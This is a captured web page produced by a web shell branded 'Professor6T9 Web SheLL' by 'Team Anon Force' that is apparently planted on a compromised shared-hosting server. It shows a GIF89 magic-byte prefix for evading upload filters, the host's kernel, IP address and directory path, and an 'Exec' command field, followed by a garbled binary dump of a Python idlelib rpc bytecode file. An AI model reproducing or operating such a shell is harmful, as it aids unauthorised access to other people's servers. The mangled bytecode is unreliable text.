GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux server326.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
LiteSpeed
67.223.118.122
/
opt
/
alt
/
python37
/
lib64
/
python3.7
/
idlelib
/
__pycache__
[ HOME ]
Exec
Submit
rpc.cpython-37.opt-1.pyc
B � f�R � @ s� d Z ddlZddlZddlZddlZddlZddlZddlZddlZddl Z ddl Z ddlZddlZddl Z ddlZddlZdd� Zdd� Zd*dd�ZG d d � d ej�ZdZdZG d d� de j�Zi Ze�d�Ze�d�ZG dd� de�ZG dd� de�Zdd� Z G dd� de�Z!G dd� de j"e�Z#G dd� de�Z$G dd� de�Z%dd� Z&dd � Z'G d!d"� d"e�Z(d#d$� Z)e*d%k�r�dd&l+m,Z, e,d'd(d)� dS )+a RPC Implementation, originally written for the Python Idle IDE For security reasons, GvR requested that Idle's Python execution server process connect to the Idle process, which listens for the connection. Since Idle has only one client per server, this was not a limitation. +---------------------------------+ +-------------+ | socketserver.BaseRequestHandler | | SocketIO | +---------------------------------+ +-------------+ ^ | register() | | | unregister()| | +-------------+ | ^ ^ | | | | + -------------------+ | | | | +-------------------------+ +-----------------+ | RPCHandler | | RPCClient | | [attribute of RPCServer]| | | +-------------------------+ +-----------------+ The RPCServer handler class is expected to provide register/unregister methods. RPCHandler inherits the mix-in class SocketIO, which provides these methods. See the Idle run.main() docstring for further information on how this was accomplished in Idle. � Nc C s t �| �}|S )z*Return code object from marshal string ms.)�marshal�loads)�ms�co� r �0/opt/alt/python37/lib64/python3.7/idlelib/rpc.py� unpickle_code- s r c C s t �| �}t|ffS )zBReturn unpickle function and tuple with marshalled co code object.)r �dumpsr )r r r r r �pickle_code3 s r c C s$ t �� }t||�}|�| � |�� S )z.Return pickled (or marshalled) string for obj.)�io�BytesIO�CodePickler�dump�getvalue)�objZprotocol�f�pr r r r 9 s r c @ s"